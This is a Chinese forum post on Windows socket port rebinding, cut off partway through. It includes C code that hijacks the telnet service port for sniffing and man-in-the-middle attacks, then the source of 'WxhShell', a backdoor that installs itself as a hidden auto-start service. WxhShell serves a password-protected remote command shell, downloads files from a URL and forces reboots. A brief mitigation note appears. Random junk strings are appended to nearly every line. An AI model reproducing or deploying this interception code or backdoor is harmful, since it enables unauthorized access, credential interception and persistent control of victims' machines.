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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 46 PoM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;v$4$D]L  
/FIE:Io  
  saddr.sin_family = AF_INET; *<J*S#]  
MX@_=Sp-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l~ M_S<4n  
PnoPb k[<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Yc'kvj)_M  
2/0v B>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DS'n  
~}+Hgi  
  这意味着什么?意味着可以进行如下的攻击: -UD\;D?$  
oIefw:FE,a  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WH= EPOR,  
EbdfV-E  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TsGE cxIg  
3%E74 mOcD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (x3.poSt  
.<Zy|1 4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O/<K!;(@?  
,L`$09\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 FD8N"p  
|Z*J/v'@p  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _-#'j2  
=|YxDas  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;]pJj6J&v  
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  #include dX)GPC-D7  
  #include sx`O8t  
  #include L\#<JxY$p  
  #include    3l#IPRn9AO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W]5USFan  
  int main() TqddOp  
  { IzpZwx^3''  
  WORD wVersionRequested; 8A+SjJ4$  
  DWORD ret; f4PIoZ e  
  WSADATA wsaData; YxP@!U9dE,  
  BOOL val; <NuUW9+  
  SOCKADDR_IN saddr; 7=DjI ~  
  SOCKADDR_IN scaddr; R<=zCE`:  
  int err; ~>+]%FPv  
  SOCKET s; ivW(*c  
  SOCKET sc; Sx8OhUyux  
  int caddsize; {1b Zg  
  HANDLE mt; nTz6LVF  
  DWORD tid;   .Fa4shNV  
  wVersionRequested = MAKEWORD( 2, 2 ); ZAXN6h  
  err = WSAStartup( wVersionRequested, &wsaData ); 2!$gyu6bpG  
  if ( err != 0 ) { 3fh8$A  
  printf("error!WSAStartup failed!\n"); &w1P\4?G  
  return -1; yn/rW$  
  } wV ^V]c?U  
  saddr.sin_family = AF_INET; 'FS?a  
   :M6+p'`j  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1)[]x9]^q'  
PgRDKygE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &T}''  
  saddr.sin_port = htons(23); <,>P0tY}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H(&4[%;MP  
  { g=$1cC+(  
  printf("error!socket failed!\n"); gw}Mw  
  return -1; ~mR'Q-hi<  
  } ](^(=%  
  val = TRUE; <E0UK^-}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J|w)&bV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S!sqbLrBn  
  { W<E47  
  printf("error!setsockopt failed!\n"); h@LHRMO  
  return -1; jWYV#ifs2  
  } Co3:*nbRv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 17OH]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4~N[%>zJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }ga@/>Sl&  
S*,rGCt'T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w#g#8o>'  
  { ]Qe{e3p;  
  ret=GetLastError(); b@2J]Ay E*  
  printf("error!bind failed!\n"); w-0mzk"  
  return -1; q=9`06  
  } {pHM},WJ  
  listen(s,2); dS5a  
  while(1) l}lIi8  
  { 6}KZp~s  
  caddsize = sizeof(scaddr); '`Wwt.A  
  //接受连接请求 aN,M64F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E{n:J3_X^d  
  if(sc!=INVALID_SOCKET) A l`e/a  
  { @S 7sr-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NmSo4Dg`U  
  if(mt==NULL) }nMPSerE  
  { Rv/Bh< t  
  printf("Thread Creat Failed!\n"); +tD[9b! m  
  break; wW%4d  
  } e A}%C.ZR  
  } O1`9Y}G(r  
  CloseHandle(mt); d`/tE?Gw  
  } G7CG~:3h+  
  closesocket(s); zH*KYB  
  WSACleanup(); UA yC.$!  
  return 0; m{7(PHpw  
  }   q/4 [3h  
  DWORD WINAPI ClientThread(LPVOID lpParam) E~ a3r]V/  
  { =k oSUVO0  
  SOCKET ss = (SOCKET)lpParam; 51QRM32Y  
  SOCKET sc; A|@_}h"WG  
  unsigned char buf[4096]; t&(PN%icD  
  SOCKADDR_IN saddr; gy;+_'.j   
  long num; A.5i"Ci[ie  
  DWORD val; /AQMFx4-5  
  DWORD ret; ScSZGs 5&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ru7RcYRq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Dxk+P!!K  
  saddr.sin_family = AF_INET; B)QHM+[= F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9Fr3pRIJ  
  saddr.sin_port = htons(23); po}F6m8bX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %b^OeWip  
  { MW+b;0U`#  
  printf("error!socket failed!\n"); A3ZY~s#Iv  
  return -1; OGY"<YH6  
  } chEn|>~  
  val = 100; 41_SRh7N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y7|P-3[ 4w  
  { %G?;!Lz  
  ret = GetLastError(); 1DA1N<'  
  return -1; {Ions~cO)  
  } T_lsGu/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "jaJr5Wv=y  
  { m B\C?=_  
  ret = GetLastError(); M BXBog7U  
  return -1; ~%2pp~1 K  
  } sIv)'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jU5}\oP@  
  { 7^Yk`Z?|a  
  printf("error!socket connect failed!\n"); wm+})SOX9  
  closesocket(sc); ,p9i%i  
  closesocket(ss); I=!rbF;Z  
  return -1; E{2Eoj;gq  
  } +GAf O0  
  while(1) "rAY.E]  
  { 3bNIZ#`|MB  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VG>vn`x>a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z,.G%"i3C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5~yNqC  
  num = recv(ss,buf,4096,0); x[Wwq=~  
  if(num>0) OK{xuX8u  
  send(sc,buf,num,0); ^`D=GF^tX  
  else if(num==0) L.=w?%:H=  
  break; g5q$A9.Jl  
  num = recv(sc,buf,4096,0); U-^[lWn[@4  
  if(num>0) > MH(0+B*  
  send(ss,buf,num,0); E~kG2x{a  
  else if(num==0) $ F S_E  
  break; )=DGdI Et  
  } =-o'gL  
  closesocket(ss); Ea( ,aVlj  
  closesocket(sc); &k8vWXMGk%  
  return 0 ; w ;e(Gb%9  
  } A4QcQ"  
<s@-:;9~  
O,.!2wVrN  
========================================================== I_q~*/<h  
')N{wSM9Ft  
下边附上一个代码,,WXhSHELL ]LZ`LL'#Y_  
k;5Pom  
========================================================== [0UGuj  
eVl'\aUd  
#include "stdafx.h" J4YBqp  
vs j3  
#include <stdio.h> RJeSi`19T)  
#include <string.h> AE@NOM7u  
#include <windows.h> "Y=+Ls(3o(  
#include <winsock2.h> >5 b/or  
#include <winsvc.h> BtY%r7^o  
#include <urlmon.h> UgN28YrW  
-!({B H-M_  
#pragma comment (lib, "Ws2_32.lib") OD=!&LM  
#pragma comment (lib, "urlmon.lib") X o{`]  
#*>E*#?t  
#define MAX_USER   100 // 最大客户端连接数 &Z^ l=YH,  
#define BUF_SOCK   200 // sock buffer tV/Z)fpyH  
#define KEY_BUFF   255 // 输入 buffer J# kl 7  
RL[E X5U  
#define REBOOT     0   // 重启 .O0O-VD+a  
#define SHUTDOWN   1   // 关机  2Cg$,#H  
4"= Vq5  
#define DEF_PORT   5000 // 监听端口 _3Cn{{ A0  
:3$}^uzIq  
#define REG_LEN     16   // 注册表键长度 z* <y5  
#define SVC_LEN     80   // NT服务名长度 |p00j|k   
Yif*"oO  
// 从dll定义API :h,`8 Di  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~3RC>8*Qw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7'N S9|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [\Qr. 2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pA4*bO+  
]h9!ei [  
// wxhshell配置信息 [ REf>_R  
struct WSCFG { A*tKF&U5  
  int ws_port;         // 监听端口 2ij# H ;  
  char ws_passstr[REG_LEN]; // 口令 F%rHU5CkV  
  int ws_autoins;       // 安装标记, 1=yes 0=no ueG|*[  
  char ws_regname[REG_LEN]; // 注册表键名 ir3VTqz  
  char ws_svcname[REG_LEN]; // 服务名 x&A vUJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `)4a[thp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n,O5".aa<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =xianQ<lK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M|i o4+sy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OU7 %V)X5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y}08~L?2  
1t9.fEmT  
}; rbqo"g`  
,LOQDIyn  
// default Wxhshell configuration xdy^ ^3"  
struct WSCFG wscfg={DEF_PORT, 5y4u5Tm-%  
    "xuhuanlingzhe", NV r0M?`4  
    1, ]+H ?@*b`  
    "Wxhshell", 9tg)Mo%  
    "Wxhshell", /( 6|{B  
            "WxhShell Service", ~]L}p  
    "Wrsky Windows CmdShell Service", j*;N\;iL!*  
    "Please Input Your Password: ", sn{AwF%  
  1, ]=F8p2w?  
  "http://www.wrsky.com/wxhshell.exe", fMf&?`V  
  "Wxhshell.exe" O''y>N9  
    }; o0z67(N&g  
/b,TpuM^  
// 消息定义模块 T{vR,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iwY'4 Z e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $(q>mg:H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y0ckm6^  
char *msg_ws_ext="\n\rExit."; GQ_Ia\  
char *msg_ws_end="\n\rQuit."; SJgY  
char *msg_ws_boot="\n\rReboot..."; jQj,q{eA  
char *msg_ws_poff="\n\rShutdown..."; "?.~/@  
char *msg_ws_down="\n\rSave to "; uM(UO,X  
%"A_!<n@*`  
char *msg_ws_err="\n\rErr!"; |Wj;QO$C  
char *msg_ws_ok="\n\rOK!"; \0FT!} L  
f0Hq8qAF;^  
char ExeFile[MAX_PATH]; ?HHzQ4w%{  
int nUser = 0; 99 wc  
HANDLE handles[MAX_USER]; Ps R>V)L  
int OsIsNt; G6`J1Uk  
2)/NFZ  
SERVICE_STATUS       serviceStatus; g\M5:Qm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hh.Q\qhubB  
,7d|O}B  
// 函数声明 u2sR.%2U<  
int Install(void); d @rs3Q1z  
int Uninstall(void); D>wZ0p b-  
int DownloadFile(char *sURL, SOCKET wsh); :wgfW .w  
int Boot(int flag); -g`IH-B  
void HideProc(void); Q*O<@   
int GetOsVer(void); QYThW7S  
int Wxhshell(SOCKET wsl); ~S(^T9R  
void TalkWithClient(void *cs); 2RppP?M!  
int CmdShell(SOCKET sock); (%< 'A  
int StartFromService(void); ]re'LC!d  
int StartWxhshell(LPSTR lpCmdLine); $EBb"+Y'T  
rj  H`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); So4nJ><p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o7xgRSz\  
^abD !8  
// 数据结构和表定义 i</J@0}y  
SERVICE_TABLE_ENTRY DispatchTable[] = @C.GKeM*  
{ Nw](".  
{wscfg.ws_svcname, NTServiceMain}, aU<s<2 O)  
{NULL, NULL} &$ p[  
}; /r.6XZs6  
7!2 HNg  
// 自我安装 h{]#ag5`  
int Install(void) b1!@v+  
{ O]nT>;PXX  
  char svExeFile[MAX_PATH]; QD<eQsvV  
  HKEY key; jQtSwVDr  
  strcpy(svExeFile,ExeFile); ,{<p  
YL5>V$i  
// 如果是win9x系统,修改注册表设为自启动 kR6A3?[  
if(!OsIsNt) { F!8=FTb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .2X2b<%)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vD=%`G[m  
  RegCloseKey(key); /)V4k:#b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [BXyi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uu}-"/<~7  
  RegCloseKey(key); k90B!kg  
  return 0; y(8d?]4:_  
    } J_  V,XO  
  } zLek& s&-  
} +Z+ExS<#z  
else { Fh`-(,e?5  
[b`6v`x  
// 如果是NT以上系统,安装为系统服务 ')nnWlK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (K!4Kp^m  
if (schSCManager!=0) ndOfbu;mf  
{  Tb#  
  SC_HANDLE schService = CreateService x N`T  
  ( $A?}a  
  schSCManager, u@D .i4U  
  wscfg.ws_svcname, k!E"wJkpz  
  wscfg.ws_svcdisp, .[f;(WR  
  SERVICE_ALL_ACCESS, |U=(b,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jzrt7p*k}  
  SERVICE_AUTO_START, 6An{3 "  
  SERVICE_ERROR_NORMAL, .xpmp6-  
  svExeFile, Fp:3#Bh  
  NULL, :dDxxrs"  
  NULL, }[,3yfiX  
  NULL, ~n]NyVFP  
  NULL, sx-F8:Qa  
  NULL ){tPP$-i=  
  ); QGPR.<D)B  
  if (schService!=0) !0dX@V'r  
  { @)z*BmP  
  CloseServiceHandle(schService); v>at/ef  
  CloseServiceHandle(schSCManager); v*L '{3f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ed=}PrE  
  strcat(svExeFile,wscfg.ws_svcname); & s-VSu7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [.U^Wrd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =>YvA>izE  
  RegCloseKey(key); !`C%Fkq  
  return 0; e\~l!f'z  
    } GYqJ!,  
  } cQ,9Rnfl,  
  CloseServiceHandle(schSCManager); h[H%:743  
} Ej|A ; &E  
} KW>VOW<.  
"%kG RHq  
return 1; c * 1S}us  
} 0UD"^zgY  
1"$R 3@s;  
// 自我卸载 )KE_t^$  
int Uninstall(void) M c@GH  
{ ;fx1!:;.  
  HKEY key; ]Wy.R6  
xA9V$#d|  
if(!OsIsNt) { *+~D+_,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^;64!BaK  
  RegDeleteValue(key,wscfg.ws_regname); h60\ Y 8  
  RegCloseKey(key); IQoH@l&Xk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sU*3\  
  RegDeleteValue(key,wscfg.ws_regname); UKYupLu5  
  RegCloseKey(key); =~$U^IsWA  
  return 0; /h-6CR Ka  
  } tGqQJT#mr7  
} 54wM8'+  
} .xnQd^qoac  
else { &vkp?UH  
=g[H]-Ee  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M1gP R  
if (schSCManager!=0) X{'wWWZC  
{ qSR? ,G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r?afv.@L2  
  if (schService!=0) @e={Wy+Vm(  
  { uOb2npPj  
  if(DeleteService(schService)!=0) { rr)9Y][l}  
  CloseServiceHandle(schService); hy=u}^F.C  
  CloseServiceHandle(schSCManager); 8L{$v~+  
  return 0; %Il;B~t  
  } 7p !zp9|  
  CloseServiceHandle(schService); H-m`Dh5{  
  } .f+9 A>  
  CloseServiceHandle(schSCManager); /evaTQPz  
} Q_v\1"c  
} 3f,u}1npa*  
Y 0]Kl^\A  
return 1; 4UazD_`'  
} -g<cinNSp  
tnNZ`]qY  
// 从指定url下载文件 pr)K{~m]{<  
int DownloadFile(char *sURL, SOCKET wsh) #a.\P.{L  
{ Kf&r21h  
  HRESULT hr; u IF$u  
char seps[]= "/"; 6_Fpca3L  
char *token; UMv"7~  
char *file; :;<\5Oy ^  
char myURL[MAX_PATH]; j]#wrm  
char myFILE[MAX_PATH]; 5(KG=EHj_  
$Llv p bl  
strcpy(myURL,sURL); b_ypsGE]5!  
  token=strtok(myURL,seps); "u,sRbL  
  while(token!=NULL) G+fd.~aGE  
  { (}6wAfGo  
    file=token; oq243\?Y  
  token=strtok(NULL,seps);  .?70=8{  
  } B0S8vU  
N]V/83_  
GetCurrentDirectory(MAX_PATH,myFILE); >|5XaaDa  
strcat(myFILE, "\\"); xdCs5ko  
strcat(myFILE, file); v'K % %z  
  send(wsh,myFILE,strlen(myFILE),0); _>;&-e  
send(wsh,"...",3,0); z?I+u* rF6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Mo~ki"9.  
  if(hr==S_OK) sb`&bA;i  
return 0; P~o@9RV-  
else (}sDm ~;s  
return 1; $e>/?Ss  
Cv0&prt  
} 5a8JVDLX^  
'+tKvTU;  
// 系统电源模块 HqB|SWyK  
int Boot(int flag) i+U@\:=  
{ Ko@zk<~"[  
  HANDLE hToken; +tPx0>p;  
  TOKEN_PRIVILEGES tkp; *ZX!EjICk  
B,w:DX  
  if(OsIsNt) { P4i3y{$V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KU*`f{|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^P]?3U\nj  
    tkp.PrivilegeCount = 1; `B:B7Cpvn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (/('nY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2B5A!? ~>  
if(flag==REBOOT) { Jk%'mEGE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (21']x  
  return 0; o; 6fvn  
} ~v^%ze  
else { Ri9Kr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) id3)6}  
  return 0; ^}>zYt  
} /*AJ+K._  
  } -*rHB&e  
  else { b{zAJ`|#[n  
if(flag==REBOOT) { ?rky6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _E3U.mV  
  return 0; F\zkyk 4  
} Sb'N];  
else { ULV)0SB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G`9cd\^  
  return 0; \I'f3  
} ]d[Rf$>vu0  
} ^).WW  
(s5<  
return 1; >6*(}L9  
} KuIBYaK, g  
<j{0!J@:  
// win9x进程隐藏模块 XulaPq  
void HideProc(void) aytq4Ts  
{ y{@P 1{  
)!'Fa_$ e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R5m`;hF  
  if ( hKernel != NULL ) NG!>7$@RV  
  { 14mXx}O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /#:Rd^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R.91v4 J  
    FreeLibrary(hKernel); Y')O>C0~  
  } fui4@  
S`ax*`  
return; hO5K\QnRL  
} "PZYgl  
pESB Il  
// 获取操作系统版本 (~q#\  
int GetOsVer(void) Pz5ebhgq  
{ IOSuaLH^  
  OSVERSIONINFO winfo; k&MlQ2'!<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NFrNm'v  
  GetVersionEx(&winfo); 9@$tiDV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #H'sZv  
  return 1; "Czz,;0  
  else fR+Ov8PCq  
  return 0; 7p P|  
}  R4&|t  
qk_p}l-F1  
// 客户端句柄模块 ):/<H  
int Wxhshell(SOCKET wsl) } l:mN  
{ }2-[Ki yv  
  SOCKET wsh; z*Myokhf  
  struct sockaddr_in client; 9\AEyaJFZ  
  DWORD myID;  1m&!l6Jk  
^U-vD[O8  
  while(nUser<MAX_USER) C1ZFA![  
{ 7xLo 4  
  int nSize=sizeof(client); }9L 40)8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4]Un=?)I  
  if(wsh==INVALID_SOCKET) return 1; Paae-EmC  
U@o2gjGN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OVDMC4K2z!  
if(handles[nUser]==0) :6 Hxxh  
  closesocket(wsh); o8~f   
else XD_P\z  
  nUser++; &4mfzpK  
  } [_g#x(=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1TK #eU  
D)H?=G  
  return 0; +Fu@I{"A  
} ZTQ$Ol+{ q  
NYSj^k;^(z  
// 关闭 socket -IpV'%nX;  
void CloseIt(SOCKET wsh)  IgzCh  
{ ^ I{R[O'8  
closesocket(wsh); W _PM!>8`  
nUser--; _9}x2uO~  
ExitThread(0); o1fyNzq<  
} #U?EOm  
qP7&LtU  
// 客户端请求句柄 }vXA`)Ns  
void TalkWithClient(void *cs) 1Y H4a|bc  
{ N:UDbLjw~  
fl pXVtsQ  
  SOCKET wsh=(SOCKET)cs; y9V;IXhDc  
  char pwd[SVC_LEN]; "ay,Lr  
  char cmd[KEY_BUFF]; e.3sAUHZ-  
char chr[1]; 5~`|)~FA  
int i,j; ~)! V8  
$Nt=gSWw5  
  while (nUser < MAX_USER) { #Qtg\X  
'_TJ"lOZ  
if(wscfg.ws_passstr) { vSyi}5D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J[<D/WIH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZaukMEq  
  //ZeroMemory(pwd,KEY_BUFF); vWnHC  
      i=0; vOvxQS}dBp  
  while(i<SVC_LEN) { tj"v0u?zW  
u7WTSL%  
  // 设置超时 HKEop  
  fd_set FdRead; !#@4xeBPo  
  struct timeval TimeOut; 1cHSgpoJ  
  FD_ZERO(&FdRead); %S(#cf!HP  
  FD_SET(wsh,&FdRead); $>S}acuC  
  TimeOut.tv_sec=8; T!=20!I  
  TimeOut.tv_usec=0; I:uQB!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }\PE {  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'gk81@|  
zJy 89ib'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4'}_qAT  
  pwd=chr[0]; v$.JmL0^J  
  if(chr[0]==0xd || chr[0]==0xa) { "lv:hz  
  pwd=0; 1OiZNuI:E  
  break; brYYuN|Vc  
  } J^s<x#C  
  i++; M f%^\g.}  
    } .(MbP  
i#M a -0#  
  // 如果是非法用户,关闭 socket gJcXdv=]2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {E3<GeHw4  
} {.' ,%)  
,<^tsCI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4t%:O4 3e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t]u(jX)  
3IJI5K_  
while(1) { T;4gcJPn"M  
Sob $j  
  ZeroMemory(cmd,KEY_BUFF); lt2Nwt0bv  
Y1Gg (z  
      // 自动支持客户端 telnet标准   Rktn/Vi  
  j=0; <u x*r#a!d  
  while(j<KEY_BUFF) { {d?4;Kd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,#'o)O#  
  cmd[j]=chr[0]; ?|Q5]rhs  
  if(chr[0]==0xa || chr[0]==0xd) { Vtz yB  
  cmd[j]=0; .qqb> 7|q  
  break; \ ]kb&Qw  
  } Ye\*b? 6  
  j++; {g!exbVf  
    } _Pfx_+  
#v~S",*.f  
  // 下载文件 Q#J>vwi=  
  if(strstr(cmd,"http://")) { >F\rBc&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XTi0,e]5{u  
  if(DownloadFile(cmd,wsh)) $3]E8t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "zeJ4f  
  else {-v\&w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hD6ur=G8u  
  } Jc"$p\ $-  
  else { 11@2;vw  
LjH&f 4mY  
    switch(cmd[0]) {  $D, wO  
  FkxhEat8  
  // 帮助 GmmT'3Q  
  case '?': { T^(n+lv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mc$v~|i6  
    break; \MFWK#W  
  } :)J~FVLy  
  // 安装 } ^GV(]K  
  case 'i': { $5Y^fwIK  
    if(Install()) }eDX8b8emA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \HP,LH[P:  
    else xXY)KI N[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8@LykJbP  
    break; D $CY:@  
    } YCB 3  
  // 卸载 wsb=[$C  
  case 'r': { [y=$2  
    if(Uninstall()) MMxoKL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vVAZSR#  
    else xeP;"J}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u>Axq3F  
    break; -B3w RAEt  
    } 9i2vWSga  
  // 显示 wxhshell 所在路径 XvzV lKL  
  case 'p': { ?/l}(t$H  
    char svExeFile[MAX_PATH]; iz  GaV[  
    strcpy(svExeFile,"\n\r"); <rwOI.W l$  
      strcat(svExeFile,ExeFile); ;5oH6{7_Z  
        send(wsh,svExeFile,strlen(svExeFile),0); 3]kAb`9[K2  
    break; 0JZq:hUd  
    } W-]yKSob  
  // 重启 |E_+*1lq.  
  case 'b': { TNyY60E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |Qt`p@W  
    if(Boot(REBOOT)) O'& \-j 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1(;33),P8  
    else { YI),q.3X~  
    closesocket(wsh); l&^[cR  
    ExitThread(0);  _7j/[  
    } 4Utx 9^  
    break; #;*ai\6>vD  
    } 4Tzu"y  
  // 关机 ry'^1~,  
  case 'd': { &A5[C{x  
